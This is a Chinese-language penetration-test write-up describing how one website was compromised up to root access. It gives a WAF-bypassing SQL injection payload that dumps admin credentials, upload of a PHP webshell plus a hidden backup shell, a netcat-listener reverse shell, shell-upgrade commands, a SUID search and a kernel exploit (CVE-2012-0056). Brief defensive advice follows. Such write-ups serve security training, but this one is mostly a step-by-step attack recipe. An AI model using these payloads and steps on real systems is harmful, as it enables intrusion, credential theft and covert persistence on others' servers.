渗透实战 | 简单的拿下项目的root权限
字数 1712 2025-08-20 18:17:47
SQL注入到Root权限获取实战教学文档
0x00 概述
本教学文档详细记录了一个从SQL注入开始,最终获取目标系统root权限的完整渗透测试过程。攻击链包括:前台SQL注入、WAF绕过、后台文件上传、反弹shell建立、交互式shell升级和内核漏洞提权。
0x01 信息收集阶段
- 目标识别:
- 收集到目标的主站、邮件服务器和DNS服务器
- 选择从主站作为初始攻击入口
0x02 漏洞挖掘与利用
1. SQL注入发现与验证
-
发现注入点:
- 在URL参数中发现可疑的
id参数:/index.php?id=125
- 在URL参数中发现可疑的
-
验证注入类型:
id=125 and 1=0→ 页面变空白id=125 and 1=1→ 页面恢复正常- 确认存在数字型注入(无需注释符)
-
确定列数:
id=125 order by 7→ 页面正常id=125 order by 8→ 页面报错- 确认查询返回7列
2. WAF绕过技术
-
WAF检测:
id=125 union select 1,2,3,4,5,6,7→ 页面无响应(被WAF拦截)
-
逐步测试绕过:
id=125 union→ 页面报错(未过滤"union")id=125 union select→ 无响应(过滤"select"或"union select")- 大小写混用
id=125 union sElecT→ 仍被拦截 - 内联注释
id=125union /*!sElecT*/→ 绕过成功(页面报错)
-
最终绕过payload:
id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws('@',username,pwd)separator '<br>'),6,7/**/From/**/admin- 使用空格混淆(
/**/)和内联注释(/*!50000sElecT*/) concat_ws函数合并列结果,group_concat合并行结果
- 使用空格混淆(
3. 后台入侵
-
后台发现:
- 在域名后添加
/admin发现后台入口 - 使用注入获取的凭证登录
- 在域名后添加
-
文件上传漏洞利用:
- 找到编辑器功能的上传点
- 无后缀限制和内容检测,直接上传PHP webshell
- 真实上传路径发现:
- 图片查看404 → 检查编辑器框架源代码
- 发现
/uploadfiles目录存放原始文件(非/resizeimage缩略图目录)
-
Webshell管理:
- 使用蚁剑连接成功
- 在隐蔽目录部署备用webshell并删除原始webshell
0x03 反弹Shell建立
1. 反弹Shell准备
-
环境准备:
- 关闭VPS防火墙
- 在VPS上使用
nc -lvnp 9999监听
-
写入反弹脚本:
- 通过webshell上传Python反弹脚本
2. 交互式Shell升级
-
初始Shell限制:
- HTTP协议无状态,提权后无法保持
- 无法执行交互性工作和
su命令
-
完全交互式Shell建立:
$ python -c 'import pty;pty.spawn("/bin/bash")' [Ctrl+Z] # 在本地终端执行: $ stty raw -echo $ fg # 返回反弹shell: $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <行数> columns <列数>
0x04 权限提升
1. SUID提权尝试
- 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null- 检查带有s标志位的文件
- 尝试使用
ping命令提权失败
2. 内核漏洞提权
- 利用CVE-2012-0056:
- 成功获取root权限
0x05 攻击链总结
完整攻击路径:
- 前台SQL注入 → 2. WAF绕过 → 3. 后台凭证获取 → 4. 文件上传漏洞利用 → 5. Webshell部署 → 6. 反弹Shell建立 → 7. 交互式Shell升级 → 8. 内核漏洞提权
0x06 防御建议
-
SQL注入防护:
- 使用参数化查询
- 实施严格的输入验证
- 最小权限原则配置数据库账户
-
WAF配置:
- 更新规则库
- 监控绕过尝试
-
文件上传安全:
- 严格限制上传文件类型
- 检查文件内容
- 存储在非web可访问目录
-
系统加固:
- 及时更新内核补丁
- 移除不必要的SUID权限
- 限制交互式Shell功能
-
监控与响应:
- 日志审计
- 异常行为检测
- 定期渗透测试
附录:关键技术点
- MySQL内联注释绕过:
/*!50000SELECT*/ - 反弹Shell升级技术:pty/spawn + stty组合
- PostgreSQL提权参考:CVE-2019-9193
- SUID提权检查命令:
find / -perm -4000 - 常用信息收集表:
information_schema